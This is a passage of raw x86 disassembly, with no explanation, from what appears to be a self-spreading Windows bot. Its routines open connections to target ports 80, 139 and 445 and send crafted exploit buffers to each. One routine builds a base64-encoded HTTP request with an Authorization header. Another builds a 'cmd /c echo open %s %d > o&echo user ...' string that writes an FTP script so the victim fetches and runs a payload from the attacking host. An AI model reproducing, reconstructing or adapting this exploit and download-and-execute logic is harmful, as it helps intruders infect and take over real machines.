		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323B4
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_43203C
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323A8
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323A4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A0
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_432394
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_43238F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9EC


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9D0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA24
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320CC
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4320FC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6EC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432044
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432108
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432154[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB88
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432300
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB710
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432198
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9D4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBA6C
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		nop
		call	near ptr 26A0428h


loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
